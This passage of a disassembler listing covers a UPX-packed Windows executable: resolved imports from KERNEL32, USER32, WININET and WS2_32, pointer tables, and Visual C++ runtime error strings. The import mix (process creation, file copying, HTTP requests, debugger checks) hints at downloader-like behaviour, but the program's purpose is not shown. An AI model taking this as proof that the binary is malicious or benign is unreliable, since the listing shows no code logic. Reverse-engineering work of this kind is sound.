to->KERNEL32.CreateProcessWdword_41D068 dd 7C801AF1h ; resolved to->KERNEL32.LoadLibraryExWdword_41D06C dd 7C802520h ; resolved to->KERNEL32.WaitForSingleObject ; sub_4098E0+9Cr ... dword_41D070 dd 7C80A017h ; resolved to->KERNEL32.SetEvent ; sub_40961F+13r ... dword_41D074 dd 7C802540h ; resolved to->KERNEL32.WaitForSingleObjectEx ; UPX0:0040946Cr ... dword_41D078 dd 7C80E43Dh ; resolved to->KERNEL32.GetModuleHandleW ; sub_408BAA+F8r ... dword_41D07C dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiByte ; sub_40A398+9Dr ... dword_41D080 dd 7C802442h ; resolved to->KERNEL32.Sleep ; UPX0:00409504r ... dword_41D084 dd 7C82F873h ; resolved to->KERNEL32.CopyFileWdword_41D088 dd 7C80BC69h ; resolved to->KERNEL32.SizeofResourcedword_41D08C dd 7C80B9EFh ; resolved to->KERNEL32.lstrcpynW ; sub_409EDC+1r dword_41D090 dd 7C830789h ; resolved to->KERNEL32.GetTempPathWdword_41D094 dd 7C80EDD7h ; resolved to->KERNEL32.FindClosedword_41D098 dd 7C80A03Bh ; resolved to->KERNEL32.ResetEventdword_41D09C dd 7C80A6A9h ; resolved to->KERNEL32.CreateEventWdword_41D0A0 dd 7C80A996h ; resolved to->KERNEL32.lstrcmpiW ; sub_407ACF+6Cr ... dword_41D0A4 dd 7C80EF3Ah ; resolved to->KERNEL32.FindNextFileWdword_41D0A8 dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_40939B+8r ... dword_41D0AC dd 7C80AD7Bh ; resolved to->KERNEL32.GetWindowsDirectoryW ; sub_4173E1+43r dword_41D0B0 dd 7C810637h ; resolved to->KERNEL32.CreateThread ; sub_40A2BB+21r dword_41D0B4 dd 7C80978Eh ; resolved to->KERNEL32.InterlockedExchangedword_41D0B8 dd 7C809915h ; resolved to->KERNEL32.GetACP ; sub_411DC7+4Cr dword_41D0BC dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoA ; sub_415EED+24r dword_41D0C0 dd 7C80A415h ; resolved to->KERNEL32.GetThreadLocaledword_41D0C4 dd 7C812ADEh ; resolved to->KERNEL32.GetVersionExA ; sub_40AA42+50r dword_41D0C8 dd 7C8097A2h ; resolved to->KERNEL32.InterlockedCompareExchangedword_41D0CC dd 7C91043Dh ; resolved to->NTDLL.RtlFreeHeap ; sub_40A7A4+9Cr ... dword_41D0D0 dd 7C80ABC1h ; resolved to->KERNEL32.GetProcessHeap ; sub_40A7A4+6Dr ... dword_41D0D4 dd 7C9105D4h ; resolved to->NTDLL.RtlAllocateHeap ; sub_40A866+28r ... dword_41D0D8 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; sub_40AF6F+61r ... dword_41D0DC dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_413890+28r dword_41D0E0 dd 7C80AE2Ah ; resolved to->KERNEL32.IsProcessorFeaturePresentdword_41D0E4 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFree ; sub_40D00C+231r dword_41D0E8 dd 7C809A51h ; resolved to->KERNEL32.VirtualAlloc ; sub_40AF6F+B6r ... dword_41D0EC dd 7C833478h ; resolved to->KERNEL32.SetEnvironmentVariableAdword_41D0F0 dd 7C80A35Eh ; resolved to->KERNEL32.CompareStringW ; sub_41676F+288r dword_41D0F4 dd 7C80D077h ; resolved to->KERNEL32.CompareStringAdword_41D0F8 dd 7C812641h ; resolved to->KERNEL32.FlushFileBuffersdword_41D0FC dd 7C801A24h ; resolved to->KERNEL32.CreateFileAdword_41D100 dd 7C80A490h ; resolved to->KERNEL32.GetStringTypeW ; sub_414FEE+11Er dword_41D104 dd 7C838A0Ch ; resolved to->KERNEL32.GetStringTypeAdword_41D108 dd 7C80BBCEh ; resolved to->KERNEL32.FindResourceWdword_41D10C dd 7C838DE8h ; resolved to->KERNEL32.LCMapStringA ; sub_414C04+368r dword_41D110 dd 7C835484h ; resolved to->KERNEL32.WriteConsoleWdword_41D114 dd 7C81B18Fh ; resolved to->KERNEL32.GetConsoleOutputCPdword_41D118 dd 7C81CF25h ; resolved to->KERNEL32.WriteConsoleAdword_41D11C dd 7C81DC03h ; resolved to->KERNEL32.SetStdHandledword_41D120 dd 7C81153Ch ; resolved to->KERNEL32.GetFileAttributesAdword_41D124 dd 7C802367h ; resolved to->KERNEL32.CreateProcessAdword_41D128 dd 7C81AE17h ; resolved to->KERNEL32.GetExitCodeProcessdword_41D12C dd 7C80B829h ; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_41D130 dd 7C8110CBh ; resolved to->KERNEL32.IsValidCodePagedword_41D134 dd 7C8127A7h ; resolved to->KERNEL32.GetOEMCPdword_41D138 dd 7C812E76h ; resolved to->KERNEL32.GetCPInfo ; sub_411E43+86r ... dword_41D13C dd 7C81AF14h ; resolved to->KERNEL32.GetConsoleModedword_41D140 dd 7C8740E3h ; resolved to->KERNEL32.GetConsoleCPdword_41D144 dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointerdword_41D148 dd 7C809920h ; resolved to->KERNEL32.GetCurrentProcessIddword_41D14C dd 7C80929Ch ; resolved to->KERNEL32.GetTickCountdword_41D150 dd 7C80A427h ; resolved to->KERNEL32.QueryPerformanceCounterdword_41D154 dd 7C810E51h ; resolved to->KERNEL32.GetFileType ; sub_40FA31+1DBr dword_41D158 dd 7C80CC97h ; resolved to->KERNEL32.SetHandleCountdword_41D15C dd 7C812F08h ; resolved to->KERNEL32.GetEnvironmentStringsWdword_41D160 dd 7C814AE7h ; resolved to->KERNEL32.FreeEnvironmentStringsWdword_41D164 dd 7C81CF5Bh ; resolved to->KERNEL32.GetEnvironmentStringsAdword_41D168 dd 7C81DF77h ; resolved to->KERNEL32.FreeEnvironmentStringsA ; sub_40F8FA+12Ar dword_41D16C dd 7C9109EDh ; resolved to->NTDLL.RtlSizeHeapdword_41D170 dd 7C8136D7h ; resolved to->KERNEL32.TlsFree ; sub_40E4D8+8Er dword_41D174 dd 7C809BC5h ; resolved to->KERNEL32.TlsSetValue ; sub_40E4D8+61r dword_41D178 dd 7C812D9Fh ; resolved to->KERNEL32.TlsAlloc ; sub_40E4D8:loc_40E580r dword_41D17C dd 7C809740h ; resolved to->KERNEL32.TlsGetValue ; sub_40E143+Cr ... dword_41D180 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameA ; sub_40F83F+2Cr dword_41D184 dd 7C812F39h ; resolved to->KERNEL32.GetStdHandle ; sub_40FA31+1C9r dword_41D188 dd 7C810D87h ; resolved to->KERNEL32.WriteFile ; sub_41105A+260r ... dword_41D18C dd 7C812BB6h ; resolved to->KERNEL32.HeapCreatedword_41D190 dd 7C937A40h ; resolved to->NTDLL.RtlUnwinddword_41D194 dd 7C801EEEh ; resolved to->KERNEL32.GetStartupInfoA ; sub_40FA31+15r dword_41D198 dd 7C812F1Dh ; resolved to->KERNEL32.GetCommandLineAdword_41D19C dd 7C8017E5h ; resolved to->KERNEL32.GetSystemTimeAsFileTime ; sub_40FCD1+37r dword_41D1A0 dd 7C9179FDh ; resolved to->NTDLL.RtlReAllocateHeap ; sub_40B8A1+1B5r ... dword_41D1A4 dd 7C831EABh ; resolved to->KERNEL32.DeleteFileAdword_41D1A8 dd 7C813093h ; resolved to->KERNEL32.IsDebuggerPresent ; sub_40C52F+BBr dword_41D1AC dd 7C84467Dh ; resolved to->KERNEL32.SetUnhandledExceptionFilter ; sub_40C52F+D0r ... dword_41D1B0 dd 7C862E2Ah ; resolved to->KERNEL32.UnhandledExceptionFilter ; sub_40C52F+DBr ... dword_41D1B4 dd 7C801E16h ; resolved to->KERNEL32.TerminateProcess ; sub_40C52F+FEr dword_41D1B8 dd 7C80B9D1h ; resolved to->KERNEL32.VirtualQuerydword_41D1BC dd 7C80EEE1h ; resolved to->KERNEL32.FindFirstFileWdword_41D1C0 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; sub_4173E1+18Ar dword_41D1C4 dd 7C809728h ; resolved to->KERNEL32.GetCurrentThreadId ; sub_406781+26r ... dword_41D1C8 dd 7C91188Ah ; resolved to->NTDLL.RtlDeleteCriticalSection ; sub_4072C1+5Br ... dword_41D1CC dd 7C901005h ; resolved to->NTDLL.RtlEnterCriticalSection ; sub_401652+59r ... dword_41D1D0 dd 7C910340h ; resolved to->NTDLL.RtlSetLastWin32Error ; sub_40E316+6Er ... dword_41D1D4 dd 7C80BDB6h ; resolved to->KERNEL32.lstrlenA ; sub_40A2F3+1Cr dword_41D1D8 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Errordword_41D1DC dd 7C812A09h ; resolved to->KERNEL32.RaiseException ; sub_4072C1+20r ... dword_41D1E0 dd 7C8355BCh ; resolved to->KERNEL32.FlushInstructionCachedword_41D1E4 dd 7C812D56h ; resolved to->KERNEL32.GetSystemInfodword_41D1E8 dd 7C801AD0h ; resolved to->KERNEL32.VirtualProtectdword_41D1EC dd 7C80FE82h ; resolved to->KERNEL32.GlobalUnlock ; sub_418266+148r ... dword_41D1F0 dd 7C809A09h ; resolved to->KERNEL32.lstrlenW ; sub_401931+3Fr ... dword_41D1F4 dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChar ; sub_4078AB+137r ... dword_41D1F8 dd 7C80A9CCh ; resolved to->KERNEL32.lstrcmpWdword_41D1FC dd 7C80B3D5h ; resolved to->KERNEL32.GetModuleFileNameW ; sub_4089CE+CDr ... dword_41D200 dd 7C8097C6h ; resolved to->KERNEL32.MulDiv ; sub_404933+45r dword_41D204 dd 7C9010EDh ; resolved to->NTDLL.RtlLeaveCriticalSection ; sub_40783F+45r ... dword_41D208 dd 7C80FD2Dh ; resolved to->KERNEL32.GlobalAlloc ; sub_418266+116r ... dword_41D20C dd 7C809EF1h ; resolved to->KERNEL32.InitializeCriticalSectiondword_41D210 dd 7C80FF19h ; resolved to->KERNEL32.GlobalLock ; sub_418266+12Er ... dword_41D214 dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcess ; sub_40B12D+10Er ... dword_41D218 dd 7C80977Ah ; resolved to->KERNEL32.InterlockedDecrement ; sub_40504A+Ar ... dword_41D21C dd 7C809766h ; resolved to->KERNEL32.InterlockedIncrement ; sub_405039+8r ... dword_41D220 dd 7C80CCA8h ; resolved to->KERNEL32.LCMapStringW ; sub_414C04+146r ... dword_41D224 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA dd 0 dword_41D22C dd 771502FAh dword_41D230 dd 77129D3Eh dword_41D234 dd 77124C05h ; sub_40120D+2Dr ... dword_41D238 dd 77124C7Eh ; sub_401260+43r ... dword_41D23C dd 77124920h ; sub_401304+21r ... dword_41D240 dd 771279E5h dword_41D244 dd 77124C98h dword_41D248 dd 77124980h dword_41D24C dd 7713AA0Dh dword_41D250 dd 77124BA7h ; sub_4016D2+B8r dword_41D254 dd 77144BC4h dword_41D258 dd 77124CFAh ; sub_417FE1+DBr dword_41D25C dd 77124880h ; UPX0:004012F5r ... dd 0 dword_41D264 dd 7CA21B92h ; sub_409EDC+7Dr dd 0 dword_41D26C dd 7E418A01h ; resolved to->USER32.DispatchMessageW ; UPX0:004094A7r ... dword_41D270 dd 7E41DBECh ; resolved to->USER32.MoveWindow ; sub_417C70+1F9r dword_41D274 dd 7E41BC7Dh ; resolved to->USER32.GetWindowdword_41D278 dd 7E41B33Ch ; resolved to->USER32.DefWindowProcW ; sub_4044BB+28r ... dword_41D27C dd 7E41C64Ah ; resolved to->USER32.CallWindowProcW ; sub_403F49+15r ... dword_41D280 dd 7E41BC36h ; resolved to->USER32.SetWindowTextW ; sub_418186+AAr ... dword_41D284 dd 7E41BE71h ; resolved to->USER32.EnableWindow ; sub_418186+D1r dword_41D288 dd 7E41B8BAh ; resolved to->USER32.SendMessageW ; sub_404C9D+2Cr ... dword_41D28C dd 7E41D6EAh ; resolved to->USER32.ReleaseCapturedword_41D290 dd 7E41FC25h ; resolved to->USER32.CreateWindowExW ; sub_409CE5+2Br ... dword_41D294 dd 7E41B933h ; resolved to->USER32.IsWindow ; UPX0:00402BFDr ... dword_41D298 dd 7E41D8A4h ; resolved to->USER32.ShowWindow ; sub_4092D7+8Br ... dword_41D29C dd 7E41EDDAh ; resolved to->USER32.SetLayeredWindowAttributesdword_41D2A0 dd 7E41BD76h ; resolved to->USER32.GetCursorPosdword_41D2A4 dd 7E41C01Bh ; resolved to->USER32.SetWindowPos ; sub_417C70+16Ar dword_41D2A8 dd 7E418E78h ; resolved to->USER32.GetSysColor ; UPX0:loc_402C3Br dword_41D2AC dd 7E41EED5h ; resolved to->USER32.GetDesktopWindow ; sub_417C70+5Cr dword_41D2B0 dd 7E41BF6Ch ; resolved to->USER32.RedrawWindow ; UPX0:00402BEFr ... dword_41D2B4 dd 7E41D62Bh ; resolved to->USER32.SetWindowLongW ; sub_404477+20r ... dword_41D2B8 dd 7E423DCEh ; resolved to->USER32.GetDlgItemdword_41D2BC dd 7E41869Dh ; resolved to->USER32.ReleaseDC ; UPX0:00403A8Cr ... dword_41D2C0 dd 7E41C33Ah ; resolved to->USER32.GetClassNameWdword_41D2C4 dd 7E419F06h ; resolved to->USER32.SystemParametersInfoWdword_41D2C8 dd 7E41CDB6h ; resolved to->USER32.GetWindowTextW ; sub_4184BE+EAr dword_41D2CC dd 7E4188A6h ; resolved to->USER32.GetWindowLongW ; sub_4044BB+Er ... dword_41D2D0 dd 7E41B5F5h ; resolved to->USER32.InvalidateRectdword_41D2D4 dd 7E41AF7Fh ; resolved to->USER32.RegisterClassExW ; sub_404725+162r ... dword_41D2D8 dd 7E418BF6h ; resolved to->USER32.TranslateMessage ; UPX0:0040947Dr ... dword_41D2DC dd 7E4186C7h ; resolved to->USER32.GetDC ; sub_40366A+DFr ... dword_41D2E0 dd 7E421656h ; resolved to->USER32.UnregisterClassAdword_41D2E4 dd 7E42E1D1h ; resolved to->USER32.PostQuitMessagedword_41D2E8 dd 7E41DB9Ah ; resolved to->USER32.CharLowerWdword_41D2EC dd 7E4222BCh ; resolved to->USER32.CreateIconIndirect ; sub_409FB8+D1r ... dword_41D2F0 dd 7E41929Bh ; resolved to->USER32.PeekMessageW ; UPX0:004094B6r ... dword_41D2F4 dd 7E46630Ah ; resolved to->USER32.MessageBoxWdword_41D2F8 dd 7E41EF3Dh ; resolved to->USER32.DestroyIcon ; sub_409FB8+101r ... dword_41D2FC dd 7E41B61Dh ; resolved to->USER32.EndPaintdword_41D300 dd 7E41C188h ; resolved to->USER32.ClientToScreendword_41D304 dd 7E41DAEAh ; resolved to->USER32.DestroyWindow ; sub_404EC4+30r ... dword_41D308 dd 7E423E99h ; resolved to->USER32.GetWindowTextLengthW ; sub_4184BE+8Er dword_41D30C dd 7E43FE55h ; resolved to->USER32.DestroyAcceleratorTabledword_41D310 dd 7E41BDC8h ; resolved to->USER32.ScreenToClientdword_41D314 dd 7E41B6D4h ; resolved to->USER32.GetWindowRectdword_41D318 dd 7E4191C6h ; resolved to->USER32.GetMessageWdword_41D31C dd 7E41DAFEh ; resolved to->USER32.CharNextW ; sub_407B63+11r ... dword_41D320 dd 7E41AF34h ; resolved to->USER32.RegisterWindowMessageWdword_41D324 dd 7E41C257h ; resolved to->USER32.FillRect ; sub_402874+104r ... dword_41D328 dd 7E41970Eh ; resolved to->USER32.IsChilddword_41D32C dd 7E41D6CEh ; resolved to->USER32.SetCapturedword_41D330 dd 7E418CCBh ; resolved to->USER32.PostMessageW ; UPX0:00417A44r ... dword_41D334 dd 7E423D4Dh ; resolved to->USER32.SetForegroundWindow ; sub_418186+BCr dword_41D338 dd 7E41BEF0h ; resolved to->USER32.GetFocusdword_41D33C dd 7E41B72Fh ; resolved to->USER32.GetParent ; UPX0:00403BEAr ... dword_41D340 dd 7E41EDC6h ; resolved to->USER32.InvalidateRgndword_41D344 dd 7E419D69h ; resolved to->USER32.LoadCursorW ; sub_404725+13Fr ... dword_41D348 dd 7E41BDA2h ; resolved to->USER32.IsWindowEnableddword_41D34C dd 7E41B6AEh ; resolved to->USER32.GetClientRect ; sub_402874+ABr ... dword_41D350 dd 7E42D3C1h ; resolved to->USER32.CreateAcceleratorTableWdword_41D354 dd 7E41DA60h ; resolved to->USER32.SetFocus ; sub_41889D+174r dword_41D358 dd 7E41B609h ; resolved to->USER32.BeginPaint ; sub_402874+91r dword_41D35C dd 7E426FA8h ; resolved to->USER32.GetClassInfoExW ; sub_404725+FEr ... dd 0 dword_41D364 dd 42C1DAC1h ; resolved to->WININET.InternetCloseHandle ; sub_417173+1C2r ... dword_41D368 dd 42C40FB1h ; resolved to->WININET.DeleteUrlCacheEntryWdword_41D36C dd 42C2AE35h ; resolved to->WININET.InternetQueryDataAvailabledword_41D370 dd 42C2ABF4h ; resolved to->WININET.InternetReadFiledword_41D374 dd 42C25BE0h ; resolved to->WININET.InternetConnectWdword_41D378 dd 42C4103Dh ; resolved to->WININET.HttpSendRequestWdword_41D37C dd 42C2CED1h ; resolved to->WININET.InternetOpenWdword_41D380 dd 42C25DBAh ; resolved to->WININET.HttpOpenRequestW align 8 dword_41D388 dd 71AB664Dh ; resolved to->WS2_32.WSAStartup align 10h dword_41D390 dd 77556DC6h dword_41D394 dd 775C8876h ; UPX0:00403CDCr dword_41D398 dd 774FFAC3h ; sub_417A85:loc_417B3Ar ... dword_41D39C dd 774FD02Ch ; sub_4080FF+6Fr ... dword_41D3A0 dd 775242CCh dword_41D3A4 dd 7750CB9Ch dword_41D3A8 dd 77506410h ; sub_418266+155r ... dword_41D3AC dd 774FDE02h dword_41D3B0 dd 774FF6DAh ; sub_4184BE+85r dword_41D3B4 dd 77533373h ; sub_4184BE:loc_418535r dword_41D3B8 dd 77515DB2h dword_41D3BC dd 774FD048h ; sub_403293+7Cr ... dword_41D3C0 dd 774FEE36h dword_41D3C4 dd 775329DEh dword_41D3C8 dd 77502A37h dword_41D3CC dd 77556EB6h dd 0 dword_41D3D4 dd 42D77858h dd 0 dword_41D3DC dd 0 dd offset loc_41C84A dd offset loc_41C860 dd offset loc_41C876 dd offset loc_41C7E3 dd offset loc_41C82D dword_41D3F4 dd 0 dword_41D3F8 dd 0 dd offset byte_40B703 dd offset sub_40FEFF dd offset sub_41191C dd offset sub_4121C2 dd offset sub_40F3FA dword_41D410 dd 0 dword_41D414 dd 0 dd offset sub_415CEC dd offset sub_4119CD dword_41D420 dd 0 dword_41D424 dd 0 dword_41D428 dd 2 dup(0) dword_41D430 dd 117h, 0 ; sub_4178EC+19o dd 0C0h, 46000000h dword_41D440 dd 4 dup(0) ; UPX0:00402B6Co ... dword_41D450 dd 323h, 0 dd 0C0h, 46000000h aInterlockedpop db 'InterlockedPopEntrySList',0 ; DATA XREF: sub_40A7A4+39o align 4 aInterlockedpus db 'InterlockedPushEntrySList',0 ; DATA XREF: sub_40A7A4+31o align 4 aKernel32_dll_0 db 'kernel32.dll',0 ; DATA XREF: sub_40A7A4+18o align 4 dd 0B62F5910h, 11D16528h, 1196h, 0D0D1EF8h dword_41D4B8 dd 394C3DE0h, 11D23C6Fh, 0C0007B81h, 0B77A794Fhdword_41D4C8 dd 20646162h, 6F6C6C61h, 69746163h, 6E6Fh, 425B1Ch ; DATA XREF: UPX0:0042A004o ; UPX0:0042A008o ... off_41D4DC dd offset loc_4049A7 ; DATA XREF: sub_40499Co ; UPX0:004049AAo ... dd offset sub_40AD9A dd offset dword_425AD0 off_41D4E8 dd offset loc_404A61 ; DATA XREF: sub_404A01+20o ; sub_404A36+Ao ... dd offset sub_404A53 dd offset dword_425A80 off_41D4F4 dd offset loc_404AA0 ; DATA XREF: sub_404A7D+Co sub_404A95o ... dd offset sub_404A53 dd offset dword_425A30 off_41D500 dd offset loc_404AE5 ; DATA XREF: sub_404AC2+Co sub_404ADAo ... dd offset sub_404A53 aStringTooLong db 'string too long',0 ; DATA XREF: sub_40AB96+Co aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_40ABCE+Co dd offset dword_424DB8 off_41D534 dd offset sub_40ADA7 ; DATA XREF: sub_40ACA6+Ao ; sub_40ACB7+Do ... dd offset sub_40AD9A aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_40AD9A+7o align 10h aSetthreadstack db 'SetThreadStackGuarantee',0 ; DATA XREF: sub_40AF6F+5Bo aKernel32_dll: ; DATA XREF: sub_40AF6F+4Ao unicode 0, <kernel32.dll>,0 align 4 dd offset dword_424DCC off_41D588 dd offset sub_40B403 ; DATA XREF: sub_40B3F3+3o ; UPX0:off_42A014o ... dword_41D58C dd 0E06D7363h, 1, 2 dup(0) dd 3, 19930520h, 2 dup(0) off_41D5AC dd offset dword_42E400 ; DATA XREF: sub_40C52F+D6o dd offset dword_42E458 aCorexitprocess db 'CorExitProcess',0 ; DATA XREF: sub_40DAF9+14o align 4 aMscoree_dll: ; DATA XREF: sub_40DAF9+5o unicode 0, <mscoree.dll>,0 aRuntimeError db 'runtime error ',0 align 4 db 0Dh,0Ah,0 align 10h aTlossError db 'TLOSS error',0Dh,0Ah,0 align 10h aSingError db 'SING error',0Dh,0Ah,0 align 10h aDomainError db 'DOMAIN error',0Dh,0Ah,0 align 10h aR6034AnApplica db 'R6034',0Dh,0Ah db 'An application has made an attempt to load the C runtime library ' db 'incorrectly.',0Ah db 'Please contact the application',27h,'s support team for more informa' db 'tion.',0Dh,0Ah,0 align 10h aR6033AttemptTo db 'R6033',0Dh,0Ah db '- Attempt to use MSIL code from this assembly during native code ' db 'initialization',0Ah db 'This indicates a bug in your application. It is most likely the r' db 'esult of calling an MSIL-compiled (/clr) function from a native c' db 'onstructor or from DllMain.',0Dh,0Ah,0 align 4 aR6032NotEnough db 'R6032',0Dh,0Ah db '- not enough space for locale information',0Dh,0Ah,0 align 10h aR6031AttemptTo db 'R6031',0Dh,0Ah db '- Attempt to initialize the CRT more than once.',0Ah db 'This indicates a bug in your application.',0Dh,0Ah,0 align 4 aR6030CrtNotIni db 'R6030',0Dh,0Ah db '- CRT not initialized',0Dh,0Ah,0 align 4 aR6028UnableToI db 'R6028',0Dh,0Ah db '- unable to initialize heap',0Dh,0Ah,0 align 4 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aThisApplicatio db 0Dh,0Ah db 'This application has requested the Runtime to terminate it in an ' db 'unusual way.',0Ah db 'Please contact the application',27h,'s support team for more informa' db 'tion.',0Dh,0Ah,0 align 10h aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 4 aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: UPX0:off_42A2E4o db '- floating point support not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_40DDD8+164o align 10h asc_41DB60 db 0Ah ; DATA XREF: sub_40DDD8:loc_40DEF2o db 0Ah,0 align 4 a___ db '...',0 ; DATA XREF: sub_40DDD8+F2o aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_40DDD8+ADo align 10h aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_40DDD8+65o db 0Ah db 'Program: ',0 align 4 aEncodepointer db 'EncodePointer',0 ; DATA XREF: sub_40E0C8:loc_40E11Co ; sub_40E22F+3Ao align 4 off_41DBAC dd offset byte_45004B ; DATA XREF: sub_40E0C8:loc_40E101o ; sub_40E143:loc_40E17Co ... aRnel32_dll: unicode 0, <RNEL32.DLL>,0 align 4 aDecodepointer db 'DecodePointer',0 ; DATA XREF: sub_40E143:loc_40E197o ; sub_40E22F+4Eo align 4 aFlsfree db 'FlsFree',0 ; DATA XREF: sub_40E4D8+4Do aFlssetvalue db 'FlsSetValue',0 ; DATA XREF: sub_40E4D8+40o aFlsgetvalue db 'FlsGetValue',0 ; DATA XREF: sub_40E4D8+33o aFlsalloc db 'FlsAlloc',0 ; DATA XREF: sub_40E4D8+2Bo align 4 a_com db '.com',0 ; DATA XREF: UPX0:off_42A3CCo align 4 a_exe db '.exe',0 ; DATA XREF: UPX0:0042A3C8o align 4 a_bat db '.bat',0 ; DATA XREF: UPX0:0042A3C4o align 4 a_cmd db '.cmd',0 ; DATA XREF: UPX0:off_42A3C0o align 4 a__0 db '.\',0 ; DATA XREF: sub_40ED0F+A4o align 4 dword_41DC28 dd 0C0000005h, 0Bh, 0 ; sub_40E3A9+7Co dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 off_41DCA0 dd offset sub_4103CB ; DATA XREF: sub_40BE20+EAr ; sub_40BE20+F3o ... dd offset dword_424E14 off_41DCA8 dd offset sub_4101D6 ; DATA XREF: sub_4101AD+11o ; UPX0:004101CBo ... dd offset sub_40AD9A dword_41DCB0 dd 20646162h, 65637865h, 6F697470h, 6Eh, 4030201h, 8070605h ; DATA XREF: sub_410A1C+14Do dd 0C0B0A09h, 100F0E0Dh, 14131211h, 18171615h, 1C1B1A19h dd 201F1E1Dh, 24232221h, 28272625h, 2C2B2A29h, 302F2E2Dh dd 34333231h, 38373635h, 3C3B3A39h, 403F3E3Dh, 44434241h dd 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h, 58575655h dd 5C5B5A59h, 605F5E5Dh, 64636261h, 68676665h, 6C6B6A69h dd 706F6E6Dh, 74737271h, 78777675h, 7C7B7A79h, 7F7E7Dh dword_41DD40 dd 3Dh ; UPX0:0041E410o aNull: ; DATA XREF: UPX0:off_42ACECo unicode 0, <(null)>,0 align 4 aNull_0 db '(null)',0 ; DATA XREF: UPX0:off_42ACE8o align 10h dd 6000006h, 100h, 6030010h, 10020600h, 45454504h, 5050505h dd 303505h, 50h, 38202800h, 8075850h, 30303700h, 75057h dd 8202000h, 0 dd 60686008h, 606060h, 78707800h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aGetprocesswind db 'GetProcessWindowStation',0 ; DATA XREF: sub_413890+9Do aGetuserobjecti db 'GetUserObjectInformationA',0 ; DATA XREF: sub_413890+7Eo align 10h aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_413890+69o align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_413890+54o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_413890+3Eo aUser32_dll db 'USER32.DLL',0 ; DATA XREF: sub_413890+23o align 4 aCompleteObject db ' Complete Object Locator',27h,0 ; DATA XREF: UPX0:0041E404o align 4 aClassHierarchy db ' Class Hierarchy Descriptor',27h,0 ; DATA XREF: UPX0:0041E400o align 4 aBaseClassArray db ' Base Class Array',27h,0 ; DATA XREF: UPX0:0041E3FCo align 4 aBaseClassDescr db ' Base Class Descriptor at (',0 ; DATA XREF: UPX0:0041E3F8o aTypeDescriptor db ' Type Descriptor',27h,0 ; DATA XREF: UPX0:0041E3F4o align 4 aLocalStaticThr db '`local static thread guard',27h,0 ; DATA XREF: UPX0:0041E540o aManagedVectorC db '`managed vector copy constructor iterator',27h,0 ; DATA XREF: UPX0:0041E53Co align 4 aVectorVbaseCop db '`vector vbase copy constructor iterator',27h,0 ; DATA XREF: UPX0:0041E538o align 10h aVectorCopyCons db '`vector copy constructor iterator',27h,0 ; DATA XREF: UPX0:0041E534o align 4 aDynamicAtexitD db '`dynamic atexit destructor for ',27h,0 ; DATA XREF: UPX0:0041E530o align 4 aDynamicInitial db '`dynamic initializer for ',27h,0 ; DATA XREF: UPX0:0041E52Co align 4 aEhVectorVbaseC db '`eh vector vbase copy constructor iterator',27h,0 ; DATA XREF: UPX0:0041E528o aEhVectorCopyCo db '`eh vector copy constructor iterator',27h,0 ; DATA XREF: UPX0:0041E524o align 4 aManagedVectorD db '`managed vector destructor iterator',27h,0 ; DATA XREF: UPX0:0041E520o align 10h aManagedVecto_0 db '`managed vector constructor iterator',27h,0 ; DATA XREF: UPX0:0041E51Co align 4 aPlacementDelet db '`placement delete[] closure',27h,0 ; DATA XREF: UPX0:0041E518o align 4 aPlacementDel_0 db '`placement delete closure',27h,0 ; DATA XREF: UPX0:0041E514o align 4 aOmniCallsig db '`omni callsig',27h,0 ; DATA XREF: UPX0:0041E510o align 4 aDelete_0 db ' delete[]',0 ; DATA XREF: UPX0:0041E50Co align 10h aNew db ' new[]',0 ; DATA XREF: UPX0:0041E508o align 4 aLocalVftableCo db '`local vftable constructor closure',27h,0 ; DATA XREF: UPX0:0041E504o aLocalVftable db '`local vftable',27h,0 ; DATA XREF: UPX0:0041E500o aRtti db '`RTTI',0 ; DATA XREF: UPX0:0041E4FCo align 4 aEh db '`EH',0 ; DATA XREF: UPX0:0041E4F8o 